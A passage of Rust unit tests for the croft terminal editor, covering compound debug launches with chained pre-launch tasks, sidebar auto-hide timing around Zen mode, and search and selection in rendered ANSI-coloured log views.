        "without naming the one it now can — reporting a limitation croft no \
         longer has is the false claim this whole path exists to avoid: {}",
        fresh.status
    );
    assert!(
        fresh.pending_debug_launch.is_none() && fresh.debug_sessions.is_empty(),
        "and nothing ran"
    );

    // The same refusal on a MULTI-member compound must not tell the user to
    // run one member directly. The guard covers both arities now, and naming
    // only the first is advice to launch a SUBSET - the very outcome this arm
    // refuses to produce itself. Both names, or the remedy is worse than the
    // refusal.
    let mut pair = App::new(tmp.path().to_path_buf()).unwrap();
    select(&mut pair, "PresentedPair");
    assert!(
        pair.run_debug.feedback_is_error,
        "a malformed key still refuses at two members: {:?}",
        pair.run_debug.feedback
    );
    assert!(
        pair.status.contains("Server") && pair.status.contains("Client"),
        "and the remedy names EVERY member, not just the first: {}",
        pair.status
    );
    assert!(pair.debug_sessions.is_empty(), "and still nothing ran");
}

/// #318, the half a parked-launch assertion cannot see: what happens when the
/// compound's task FINISHES.
///
/// A compound's member is resumed through the ordinary launch path, so a
/// member carrying its own `preLaunchTask` parks again rather than starting.
/// That chaining is what makes croft run both tasks, as VS Code does, and
/// nothing about the initial park proves it happens.
#[test]
fn a_finished_compound_task_starts_its_member_and_chains_the_members_own_task() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode/tasks.json"),
        r#"{ "version": "2.0.0", "tasks": [
            { "label": "compound-build", "type": "shell", "command": "true 1" },
            { "label": "member-build", "type": "shell", "command": "true 2" }
        ]}"#,
    )
    .unwrap();
    std::fs::write(
        tmp.path().join(".vscode/launch.json"),
        r#"{ "configurations": [
            { "name": "Server", "type": "python", "request": "launch",
              "program": "s.py", "preLaunchTask": "member-build" }
        ],
        "compounds": [
            { "name": "Tasked", "configurations": ["Server"], "preLaunchTask": "compound-build" }
        ]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    app.open_debug_config_picker();
    let idx = app
        .list_picker
        .as_ref()
        .expect("picker open")
        .rows
        .iter()
        .position(|r| r.label.starts_with("Tasked"))
        .expect("the compound is listed");
    app.list_picker.as_mut().unwrap().selected = idx;
    app.confirm_list_picker();
    let parked = app
        .pending_debug_launch
        .take()
        .expect("the compound's task parked the launch");
    assert!(
        app.status.contains("compound-build"),
        "staging: it is the COMPOUND's task that ran first: {}",
        app.status
    );

    // The compound's task exits 0.
    app.resume_pending_launch(Some(0), parked.step);

    // The member does not go straight to the adapter: it declares a task of
    // its own, so it parks in turn. Both tasks run, which is the behaviour
    // being chained rather than merged buys.
    let second = app
        .pending_debug_launch
        .as_ref()
        .expect("the member's own preLaunchTask parks in turn rather than being skipped");
    assert!(
        app.status.contains("member-build"),
        "and it is the MEMBER's task waiting now: {}",
        app.status
    );
    assert!(
        !app.run_debug.feedback_is_error,
        "still progress, not a refusal: {:?}",
        app.run_debug.feedback
    );
    assert!(
        matches!(second.step, crate::app::PendingLaunchStep::Resolved(_)),
        "the second park is the member's own launch, so the chain ends here \
         rather than looping"
    );

    // A task that fails aborts instead of debugging what the build left.
    let second = app.pending_debug_launch.take().expect("still parked");
    app.resume_pending_launch(Some(1), second.step);
    assert!(
        app.run_debug.feedback_is_error && app.status.contains("exited 1"),
        "a non-zero task aborts the launch and says so: {}",
        app.status
    );
    assert!(app.debug_sessions.is_empty(), "and nothing was debugged");
}

/// #302: a dwell must not be ARMED while a structural suppression is already
/// in force. This is the one instance of the class that no entry-site disarm
/// can catch, and it is worth being explicit about why.
///
/// `entering_zen_mode_cancels_a_pending_collapse_rather_than_deferring_it`
/// covers arming BEFORE Zen: there is a transition, Zen entry sees it, and the
/// entry hook disarms. Here the dwell is armed DURING Zen — Cmd+B still works
/// inside Zen, and a focus move afterwards arms as usual — so the suppression
/// is never entered while the dwell is live. There is no transition, so there
/// is no boundary to hook, and every existing disarm site is structurally
/// blind to it.
///
/// The consequence is user-visible and delayed: the arm declines at fire time
/// via `!sidebar_auto_hide_allowed()` and stays armed BY DESIGN (transient
/// suppressions must retry). Zen is not transient. An hour later the user
/// leaves Zen and the next 8ms tick collapses the sidebar for a focus move
/// they made an hour earlier, silently spending any pin with it.
///
/// The fix is therefore not a sixth boundary: `maybe_auto_hide_sidebar` must
/// refuse to arm under a structural suppression at all, mirroring what
/// `toggle_side_bar` already does for the pin at the same four conditions.
#[test]
fn arming_inside_zen_mode_does_not_collapse_the_sidebar_when_zen_exits() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = false;

    // Into Zen FIRST, so there is no pending dwell for Zen entry to cancel.
    app.toggle_zen_mode();
    assert!(app.zen_mode, "precondition: Zen is on");
    assert!(
        !app.sidebar_auto_hide_allowed(),
        "precondition: Zen structurally suppresses the collapse"
    );

    // Cmd+B works inside Zen, and the user opens the sidebar to look at a file.
    app.toggle_side_bar();
    assert!(app.show_tree, "precondition: the sidebar is up inside Zen");
    assert!(
        !app.sidebar_pinned_open,
        "precondition: toggle_side_bar already refuses to bank a pin under a \
         structural suppression — this test is about the DWELL, which does not"
    );

    // Focus moves away, exactly as it would outside Zen. This is the arm that
    // no entry site can see: the suppression was already in force.
    let t0 = std::time::Instant::now();
    app.focus_pane(Pane::Editor);
    // The main loop, faithfully: ticks throughout Zen, well past the grace
    // delay. None may collapse, and — the part two previous fixes got wrong —
    // none may destroy the pending collapse either, because nothing would
    // re-arm it afterwards.
    for i in 0..50u32 {
        assert!(
            !app.tick_sidebar_auto_hide_at(
                t0 + AUTO_HIDE_DWELL * 2 + std::time::Duration::from_millis(8 * i as u64)
            ),
            "no collapse fires inside Zen: Zen owns the chrome (tick {i})"
        );
    }
    assert!(
        app.sidebar_dwell.armed(),
        "and the dwell SURVIVES those ticks. Cancelling on a suppressed tick \
         is indistinguishable from refusing to arm — production ticks every \
         8ms, so the cancel lands 8ms after the arm, and nothing re-arms once \
         a structural suppression lifts"
    );

    // The user-visible failure, spelled out. Zen exit RESTORES the pre-Zen
    // snapshot, so the sidebar this test opened inside Zen is closed again on
    // the way out — that part is by design and not what is under test. Reopen
    // it, then check that no stale collapse from the in-Zen focus move is still
    // pending to fire on the next tick.
    app.toggle_zen_mode();
    assert!(!app.zen_mode, "precondition: Zen is off again");
    app.show_tree = true;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: a collapse is structurally possible again"
    );
    // The claim this test exists for: no STALE collapse on the frame Zen exits.
    // The dwell is still armed, but each suppressed tick re-stamped it, so its
    // deadline is measured from the last moment a collapse was impossible —
    // not from the focus move made before Zen. The user gets the full grace
    // period from a moment they can perceive: the chrome coming back.
    assert!(
        !app.tick_sidebar_auto_hide_at(t0 + AUTO_HIDE_DWELL * 2),
        "and no stale collapse fires after Zen exits, for a focus move made \
         while Zen was still on"
    );
    assert!(
        app.show_tree,
        "the sidebar is still up: the user asked for it and never asked otherwise"
    );
    // But the collapse is not LOST either — that was the round-one and
    // round-two defect. Once the re-stamped grace period elapses it fires.
    let after_zen = t0 + AUTO_HIDE_DWELL * 2 + std::time::Duration::from_millis(8 * 49);
    assert!(
        app.tick_sidebar_auto_hide_at(after_zen + AUTO_HIDE_DWELL * 2),
        "and once the grace period from Zen exit elapses, it does fire: \
         retained, not discarded"
    );
}

/// #302 REGRESSION GUARD, round three. The two previous fixes each destroyed
/// the state the recovery needs, and the guard that was supposed to catch that
/// COULD NOT, because it never ticked during the suppression.
///
/// `main_loop` calls `tick_sidebar_auto_hide()` unconditionally on an 8ms
/// cadence (mod.rs, `event::poll(Duration::from_millis(8))`). So in production
/// a tick lands within 8ms of arming — and again, and again, for as long as the
/// suppression lasts. Any design that cancels the dwell on a suppressed tick
/// has cancelled it 8ms after it was armed, which is indistinguishable from
/// refusing to arm at all.
///
/// This test therefore TICKS DURING THE SUPPRESSED PERIOD, many times, exactly
/// as the main loop would. That single property is what separates it from the
/// vacuous guard it replaces: the previous version set the flag, cleared it,
/// and ticked once afterwards — a sequence production never produces.
#[test]
fn auto_hide_recovers_after_the_activity_bar_comes_back() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    app.activity_bar_visible = false;
    app.focus_pane(Pane::Tree);

    assert!(
        !app.sidebar_auto_hide_allowed(),
        "precondition: a hidden activity bar structurally suppresses the collapse"
    );

    let t0 = std::time::Instant::now();
    app.focus_pane(Pane::Editor);

    // The main loop, faithfully: ticks every 8ms while the bar stays hidden,
    // and — the part that makes this a real guard — PAST the grace delay.
    //
    // Ticking only within AUTO_HIDE_DWELL proves nothing: the tick returns at
    // its `due` check before it ever reaches the structural branch, so a
    // cancel-on-suppressed-tick defect is unreachable and the test passes
    // against the very design it exists to reject. That was the third version
    // of this guard and it had no teeth; teeth-proving it against the round-two
    // mutation is what exposed that. Production ticks for as long as the
    // suppression lasts, which is minutes or hours, so the ticks that matter
    // are the ones AFTER the deadline has elapsed.
    for i in 0..50u32 {
        let t = t0 + AUTO_HIDE_DWELL * 2 + std::time::Duration::from_millis(8 * i as u64);
        assert!(
            !app.tick_sidebar_auto_hide_at(t),
            "no collapse may fire while the bar is hidden (tick {i})"
        );
    }
    assert!(
        app.sidebar_dwell.armed(),
        "and the dwell SURVIVES them: cancelling on a suppressed tick is what \
         strands the feature, because nothing re-arms once the bar returns"
    );
    assert!(
        app.show_tree,
        "precondition: still open after 50 suppressed ticks"
    );

    // An hour later the user brings the activity bar back. Focus never moved —
    // it is still the editor — so no gesture will arm anything, and production
    // guards `if self.focus != Pane::Editor` before calling `focus_pane`.
    app.activity_bar_visible = true;
    assert!(
        app.focus == Pane::Editor,
        "precondition: focus never moved, so nothing re-arms by gesture"
    );
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: the suppression has lifted"
    );

    let last_tick = t0 + AUTO_HIDE_DWELL * 2 + std::time::Duration::from_millis(8 * 49);
    assert!(
        app.tick_sidebar_auto_hide_at(last_tick + AUTO_HIDE_DWELL * 2),
        "auto-hide recovers once the bar returns: the pending collapse fires \
         rather than the feature staying dead for the session"
    );
    assert!(!app.show_tree, "and the sidebar actually collapsed");
}

/// #257: Cmd+F in a rendered colour log must search what the user SEES.
///
/// The log view keeps the file windowed, so a log tab's `lines` is a stub
/// and the ordinary find path reads an empty buffer: the bar answers "No
/// results" over a file full of matches. `LogView::visible_text` was
/// written for exactly these consumers and had none.
#[test]
fn find_in_a_rendered_color_log_matches_the_visible_text() {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("build.log");
    let mut body = String::new();
    for i in 0..200 {
        body.push_str(&format!("\u{1b}[32mINFO\u{1b}[0m step {i} ok\n"));
    }
    body.push_str("\u{1b}[31mERROR\u{1b}[0m disk full\n");
    std::fs::write(&p, &body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    assert!(
        app.editor.log.is_some(),
        "the fixture must open as a rendered log"
    );

    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    for ch in "disk".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }

    let state = app
        .editor_find
        .as_ref()
        .expect("Cmd+F opens the find bar over a log");
    assert_eq!(
        state.match_count, 1,
        "the one ERROR line must be found through the stripped text"
    );
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(200),
        "the match is the last line of the file"
    );
    assert!(
        app.editor.scroll > 0,
        "the view must scroll to reveal the match, not sit at the top"
    );
}

/// #257: Enter and Shift+Enter step through a log's matches. The log has no
/// caret to carry the position, so the walk is anchored on the active match
/// alone; without that anchor every Enter would re-find the same line.
#[test]
fn enter_steps_through_matches_in_a_rendered_log() {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("run.log");
    std::fs::write(
        &p,
        "\u{1b}[31mFAIL\u{1b}[0m one\nok\n\u{1b}[31mFAIL\u{1b}[0m two\nok\n",
    )
    .unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    assert!(app.editor.log.is_some());

    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    for ch in "FAIL".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor_find.as_ref().map(|s| s.match_count),
        Some(2),
        "both FAIL lines are counted through the stripped text"
    );
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(0),
        "typing lands on the first match"
    );

    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(2),
        "Enter steps to the second match rather than re-finding the first"
    );
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(0),
        "past the last match, Enter wraps to the top"
    );
    app.handle_key(key(KeyCode::Enter, KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(2),
        "Shift+Enter walks back, wrapping to the last match"
    );
}

/// #257 review finding: the find bar's `N+` belonged to the log tab that
/// earned it and leaked onto the next search. A text buffer is counted
/// exhaustively, so showing `N+` there claims a limit that does not exist.
#[test]
fn a_logs_budgeted_count_does_not_leak_onto_the_next_text_search() {
    let tmp = tempfile::tempdir().unwrap();
    let log = tmp.path().join("huge.log");
    // Past FIND_SCAN_BYTES, so the count genuinely runs out of budget.
    let line = "\u{1b}[31mERROR\u{1b}[0m ".to_string() + &"pad ".repeat(40) + "\n";
    let body = line.repeat((crate::log_view::FIND_SCAN_BYTES / line.len()) + 2000);
    std::fs::write(&log, &body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&log).unwrap();
    assert!(app.editor.log.is_some(), "the fixture must open rendered");
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    for ch in "ERROR".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    assert!(
        app.editor_find
            .as_ref()
            .is_some_and(|s| s.count_truncated()),
        "a log too large to search whole must report its count as partial"
    );

    // Now search an ordinary file, which IS counted exhaustively. The find
    // bar deliberately stays OPEN across the tab switch: closing it builds a
    // fresh EditorFind on the next Cmd+F, and this test then passes against
    // the very bug it exists to catch (round-2 review finding).
    let text = tmp.path().join("small.txt");
    std::fs::write(&text, "ERROR one\nplain\nERROR two\n").unwrap();
    app.editor.open(&text).unwrap();
    assert!(app.editor.log.is_none(), "a plain file is a text tab");
    assert!(
        app.editor_find.is_some(),
        "the find bar must still be the one the log search left behind"
    );
    // Retype the query into the SAME bar rather than opening a new one.
    app.editor_find.as_mut().unwrap().query.clear();
    for ch in "ERROR".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    let state = app.editor_find.as_ref().expect("the find bar is open");
    assert_eq!(state.match_count, 2);
    assert!(
        !state.count_truncated(),
        "an exhaustive count must not inherit the log's N+"
    );
}

/// #257 round-3 review finding: a step that runs out of budget must leave
/// the user where they are. Marking the count partial and then clearing the
/// active match left the bar reading "1+ matches" with nothing highlighted
/// and no way back to the match they were on.
#[test]
fn a_step_that_runs_out_of_reach_keeps_the_match_it_already_had() {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("far.log");
    // One match at the very top, then far more filler than a sweep may read,
    // so stepping forward from it exhausts the budget without finding another.
    let mut body = String::from("\u{1b}[31mERROR\u{1b}[0m first and only\n");
    let filler = "quiet line with nothing of interest ".repeat(4);
    for _ in 0..(crate::log_view::FIND_SCAN_BYTES / filler.len() + 3000) {
        body.push_str(&filler);
        body.push('\n');
    }
    std::fs::write(&p, &body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    assert!(app.editor.log.is_some());

    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    for ch in "ERROR".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(0),
        "typing lands on the only match"
    );

    // Enter steps forward, runs out of budget, and finds nothing more.
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(0),
        "an out-of-reach step must leave the highlight where it was, not \
         clear it and leave the user with a count and nothing to look at"
    );
    assert!(
        app.editor_find
            .as_ref()
            .is_some_and(|s| s.count_truncated()),
        "and the bar must say the search did not cover the whole file"
    );
}

/// #257 round-4 review finding: a CHANGED query must not leave the previous
/// query's highlight painted. The early return that keeps a match across an
/// out-of-reach STEP was also firing on the retype path, where the old
/// position belongs to a query the user has already replaced.
#[test]
fn retyping_into_an_out_of_reach_query_clears_the_old_highlight() {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("far.log");
    let mut body = String::from("\u{1b}[31mERROR\u{1b}[0m first and only\n");
    let filler = "quiet line with nothing of interest ".repeat(4);
    for _ in 0..(crate::log_view::FIND_SCAN_BYTES / filler.len() + 3000) {
        body.push_str(&filler);
        body.push('\n');
    }
    std::fs::write(&p, &body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    for ch in "ERROR".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor.active_search_match.map(|(r, _, _)| r),
        Some(0),
        "the match is found while the query still matches"
    );

    // Extend the query into something that matches nothing reachable.
    for ch in "ZZQX".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor.active_search_match, None,
        "the previous query's highlight must not survive under a new query \
         that found nothing: the bar would say no match while a match stayed \
         painted"
    );
}

/// #257: dragging over a rendered ANSI log selects it, and Cmd+C copies what
/// the reader SEES rather than the escape bytes behind it.
///
/// Driven through the real gestures and a real render, so the body rect the
/// mouse path reads is the one a frame actually painted: a test that set
/// `last_body` by hand would pass with the renderer never having agreed.
#[test]
fn dragging_over_a_rendered_log_selects_and_copies_the_visible_text() {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("run.log");
    std::fs::write(
        &p,
        "\u{1b}[32mINFO\u{1b}[0m starting up\n\u{1b}[31mERROR\u{1b}[0m disk full\nbye\n",
    )
    .unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    assert!(app.editor.log.is_some(), "the fixture opens rendered");

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();

    let body = app.editor.log.as_ref().unwrap().last_body;
    assert!(
        body.width > 0 && body.height > 0,
        "the render must have published a body rect for the mouse to hit"
    );

    // Press on the first body row, drag to the second, release.
    use crossterm::event::{MouseButton, MouseEventKind};
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        body.x,
        body.y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        body.x + 10,
        body.y + 1,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        body.x + 10,
        body.y + 1,
    ));

    let log = app.editor.log.as_ref().unwrap();
    assert!(log.has_selection(), "the drag must leave a selection");
    assert!(!log.dragging, "and the release must end the drag");
    let (text, clamped) = log.selection_text();
    assert!(!clamped);
    assert_eq!(
        text, "INFO starting up\nERROR disk",
        "the copy is the stripped text, not the escapes behind it"
    );

    // What is PAINTED must match what is copied, row for row. Nothing
    // asserted this before: deleting the entire selection-painting block from
    // the renderer left the suite green, so the visible half of the feature
    // had no coverage at all.
    let mut buf = ratatui::buffer::Buffer::empty(ratatui::layout::Rect {
        x: 0,
        y: 0,
        width: 100,
        height: 30,
    });
    term.draw(|frame| app.render(frame)).unwrap();
    {
        use ratatui::widgets::Widget;
        let area = app.editor.last_area;
        (&mut app.editor).render(area, &mut buf);
    }
    // Frame truth: the rect the render that filled THIS buffer published.
    let body = app.editor.log.as_ref().unwrap().last_body;
    let selected_bg = crate::theme::Theme::BLACK.selection();
    let copied_per_row: Vec<usize> = text.split('\n').map(|l| l.chars().count()).collect();
    for (r, expected) in copied_per_row.iter().enumerate() {
        let y = body.y + r as u16;
        let painted = (body.x..body.x + body.width)
            .filter(|x| buf[(*x, y)].style().bg == Some(selected_bg))
            .count();
        assert_eq!(
            painted, *expected,
            "row {r}: {painted} cells painted as selected, {expected} characters copied"
        );
    }

    // Cmd+C puts exactly that on the clipboard.
    app.handle_key(key(KeyCode::Char('c'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.status.starts_with("Copied"),
        "the copy must report itself, got {:?}",
        app.status
    );
}

/// #257: dragging past the end of a SHORT line must paint what it copies.
///
/// The renderer painted to the endpoint it was handed while the copy read
/// `min(len)`, and `log_cell_at` clamped the line but not the column, so a
/// drag off the right of a short line painted to the pointer and copied to
/// the line's end. Clamping at the source means both readers see one value
/// instead of each clamping its own way.
#[test]
fn dragging_past_a_short_lines_end_paints_what_it_copies() {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("short.log");
    // A coloured line so the view renders, and a very short one to drag off.
    std::fs::write(&p, "\u{1b}[31mabc\u{1b}[0m\nlonger second line here\n").unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    assert!(app.editor.log.is_some());

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let body = app.editor.log.as_ref().unwrap().last_body;

    use crossterm::event::{MouseButton, MouseEventKind};
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        body.x,
        body.y,
    ));
    // Drag far past the end of a three-character line.
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        body.x + 60,
        body.y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        body.x + 60,
        body.y,
    ));

    let (text, _) = app.editor.log.as_ref().unwrap().selection_text();
    assert_eq!(text, "abc", "the copy stops at the end of the line");

    let mut buf = ratatui::buffer::Buffer::empty(ratatui::layout::Rect {
        x: 0,
        y: 0,
        width: 100,
        height: 30,
    });
    term.draw(|frame| app.render(frame)).unwrap();
    {
        use ratatui::widgets::Widget;
        let area = app.editor.last_area;
        (&mut app.editor).render(area, &mut buf);
    }
    // Frame truth: the rect to read is the one the render that filled THIS
    // buffer published, not one captured from an earlier frame. Reading the
    // stale rect pointed at the header row and reported nothing painted.
    let body = app.editor.log.as_ref().unwrap().last_body;
    let selected_bg = crate::theme::Theme::BLACK.selection();
    let painted = (body.x..body.x + body.width)
        .filter(|x| buf[(*x, body.y)].style().bg == Some(selected_bg))
        .count();
    assert_eq!(
        painted,
        text.chars().count(),
        "the paint must stop where the copy does, not follow the pointer"
    );
}

/// #404: a double-width character occupies two cells, so every span after
/// it must be painted, and every click after it hit-tested, by display
/// width rather than by character count.
///
/// The painter advanced `x` by `chars().count()`, so after a CJK pair the
/// next span landed two cells to the left of where the terminal had put
/// the pair, overpainting its second half, and `log_cell_at` matched the
/// drift by design. Fixed together so the two never disagree.
#[test]
fn double_width_characters_keep_log_columns_aligned() {
    use crossterm::event::{MouseButton, MouseEventKind};
    use ratatui::widgets::Widget;

    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("wide.log");
    // "\u{4e2d}\u{6587}" is two characters and four cells; then a space and
    // a coloured X, which must land on cell 5 (character column 3).
    std::fs::write(
        &p,
        "\u{1b}[31m\u{4e2d}\u{6587}\u{1b}[0m \u{1b}[32mX\u{1b}[0m\n",
    )
    .unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    assert!(app.editor.log.is_some());

    let backend = ratatui::backend::TestBackend::new(100, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let body = app.editor.log.as_ref().unwrap().last_body;

    // Click the X and release on it: a one-character selection.
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        body.x + 5,
        body.y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Drag(MouseButton::Left),
        body.x + 6,
        body.y,
    ));
    app.handle_mouse(mouse(
        MouseEventKind::Up(MouseButton::Left),
        body.x + 6,
        body.y,
    ));
    let (text, _) = app.editor.log.as_ref().unwrap().selection_text();
    assert_eq!(text, "X", "cell 5 is the X, two cells past the wide pair");

    let mut buf = ratatui::buffer::Buffer::empty(ratatui::layout::Rect {
        x: 0,
        y: 0,
        width: 100,
        height: 30,
    });
    term.draw(|frame| app.render(frame)).unwrap();
    {
        let area = app.editor.last_area;
        (&mut app.editor).render(area, &mut buf);
    }
    let body = app.editor.log.as_ref().unwrap().last_body;
    let row: Vec<&str> = (body.x..body.x + 7)
        .map(|x| buf[(x, body.y)].symbol())
        .collect();
    assert_eq!(
        buf[(body.x + 2, body.y)].symbol(),
        "\u{6587}",
        "the second wide character keeps its cells: {row:?}"
    );
    assert_eq!(
        buf[(body.x + 5, body.y)].symbol(),
        "X",
        "the span after the pair starts where the terminal put it: {row:?}"
    );
    let selected_bg = crate::theme::Theme::BLACK.selection();
    let painted: Vec<u16> = (body.x..body.x + body.width)
        .filter(|x| buf[(*x, body.y)].style().bg == Some(selected_bg))
        .collect();
    assert_eq!(
        painted,
        vec![body.x + 5],
        "the selection band sits on the X's cell, not on character column 3"
    );
}

/// #404 review: a wide character whose first half lands on the body's last
/// cell does not fit whole, and `set_stringn` drops it entirely. The
/// selection band must not colour that cell, or the annotator paints where
/// the painter deliberately put nothing, the same disagreement the cell map
/// exists to close, at the boundary.
#[test]
fn a_wide_character_clipped_at_the_right_edge_gets_no_selection_band() {
    use ratatui::layout::Rect;
    use ratatui::widgets::Widget;

    let tmp = tempfile::tempdir().unwrap();
    let area = Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    };
    // Learn the body width from a probe render, so the fixture puts the
    // wide character exactly on the last cell whatever the chrome costs.
    let probe = tmp.path().join("probe.log");
    std::fs::write(&probe, "\u{1b}[31mx\u{1b}[0m\n").unwrap();
    let mut e = crate::widgets::editor::Editor::new();
    e.open(&probe).unwrap();
    let mut buf = ratatui::buffer::Buffer::empty(area);
    (&mut e).render(area, &mut buf);
    let width = e.log.as_ref().unwrap().last_body.width as usize;
    assert!(width > 2);

    let p = tmp.path().join("edge.log");
    let text = format!("{}\u{4e2d}", "x".repeat(width - 1));
    std::fs::write(&p, format!("\u{1b}[31m{text}\u{1b}[0m\n")).unwrap();
    let mut e = crate::widgets::editor::Editor::new();
    e.open(&p).unwrap();
    let chars = text.chars().count();
    e.log.as_mut().unwrap().selection = Some(((0, 0), (0, chars)));
    let mut buf = ratatui::buffer::Buffer::empty(area);
    (&mut e).render(area, &mut buf);
    let body = e.log.as_ref().unwrap().last_body;
    let last = body.x + body.width - 1;
    let selected_bg = crate::theme::Theme::BLACK.selection();
    assert_eq!(
        buf[(last, body.y)].symbol(),
        " ",
        "the painter drops a wide character that does not fit whole"
    );
    assert_ne!(
        buf[(last, body.y)].style().bg,
        Some(selected_bg),
        "so the band must not colour the cell it left blank"
    );
    assert_eq!(
        buf[(last - 1, body.y)].style().bg,
        Some(selected_bg),
        "while the character before it is selected as usual"
    );
}

/// #257: a frame that paints no log body must publish no body rect.
///
/// `render_log` returned early for a zero-sized area WITHOUT clearing
/// `last_body`, so after a resize the mouse path could accept a click inside
/// a rectangle this frame had not painted. Frame truth cuts both ways: the
/// rect is a claim about what was drawn, and drawing nothing is a claim too.
#[test]
fn a_log_that_paints_nothing_publishes_no_body_rect() {
    use ratatui::layout::Rect;
    use ratatui::widgets::Widget;

    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("run.log");
    std::fs::write(&p, "\u{1b}[31mERROR\u{1b}[0m boom\nsecond\n").unwrap();
    let mut e = crate::widgets::editor::Editor::new();
    e.open(&p).unwrap();

    // A real frame publishes a real rect.
    let mut buf = ratatui::buffer::Buffer::empty(Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    });
    (&mut e).render(
        Rect {
            x: 0,
            y: 0,
            width: 40,
            height: 8,
        },
        &mut buf,
    );
    assert!(
        e.log.as_ref().unwrap().last_body.height > 0,
        "a painted frame publishes its body"
    );

    // A frame with no room paints nothing, so it must claim nothing.
    let mut narrow = ratatui::buffer::Buffer::empty(Rect {
        x: 0,
        y: 0,
        width: 40,
        height: 8,
    });
    (&mut e).render(
        Rect {
            x: 0,
            y: 0,
            width: 0,
            height: 0,
        },
        &mut narrow,
    );
    assert_eq!(
        e.log.as_ref().unwrap().last_body,
        Rect::default(),
        "a frame that painted nothing must not leave a stale rect for the \
         mouse path to hit-test against"
    );
}

/// #257 follow-up: the find bar's title must FIT the bar.
///
/// The truncated-count arm shipped at 51 characters in a bar capped at 48
